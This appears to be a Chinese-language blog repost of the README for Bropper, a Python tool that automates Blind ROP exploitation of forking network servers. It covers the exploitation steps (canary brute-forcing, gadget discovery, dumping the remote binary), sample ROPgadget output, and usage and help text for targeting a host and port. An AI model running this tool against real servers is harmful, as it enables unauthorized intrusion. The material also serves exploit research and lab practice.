自动化Blind ROP漏洞利用工具

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/Hakumarachi/Bropper

Blind ROP

一个自动Blind ROP利用python工具

抽象的

BROP(Blind ROP)是斯坦福大学的 Andrew Bittau 于 2014 年发现的一项技术。

大多数服务器(如 nginx、Apache、MySQL)会分叉然后与客户端通信。 这意味着即使有 ASLR 和 PIE,金丝雀和地址也保持不变。 所以我们可以使用一些受过训练的蛮力来泄露信息并随后制作一个有效的漏洞。

漏洞利用流程

  1. 查找缓冲区溢出偏移量
  2. 寻找金丝雀
  3. 查找保存的寄存器 (RBP / RIP)
  4. 查找停止小工具
  5. 查找 brop 小工具
  6. 找一个Write函数(write/dprintf/puts/…)
  7. 泄露二进制文件

结果示例

此存储库中提供了 3 个自定义易受攻击的示例。 您可以直接运行它或构建 Dockerfile

8951dba439222120

 

BROPPER 然后将转储二进制文件:

1e22c195e1222138

 

然后可以使用 ROPgadget 从转储的二进制文件中提取所有 ROP 小工具,例如:

$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx

Unique gadgets found: 235

脚本用法

要使用此脚本:

python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump

$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
                  [--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]

Description message

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target url
  -p PORT, --port PORT  target port
  --expected-stop EXPECTED_STOP
                        Expected response for the stop gadget
  --expected EXPECTED   Expected normal response
  --wait WAIT           String to wait before sending payload
  -o OUTPUT, --output OUTPUT
                        File to write dumped remote binary
  --offset OFFSET       set a offset value
  --canary CANARY       set a canary value
  --no-canary           Use this argument if there is no stack canary protection
  --rbp RBP             set rbp address
  --rip RIP             set rip address
  --stop STOP           set stop gadget address
  --brop BROP           set brop gadget address
  --plt PLT             set plt address
  --strcmp STRCMP       set strcmp entry value
  --elf ELF             set elf address

贡献

欢迎请求请求。 如果您想添加其他功能,请随时提出问题。

标签:工具分享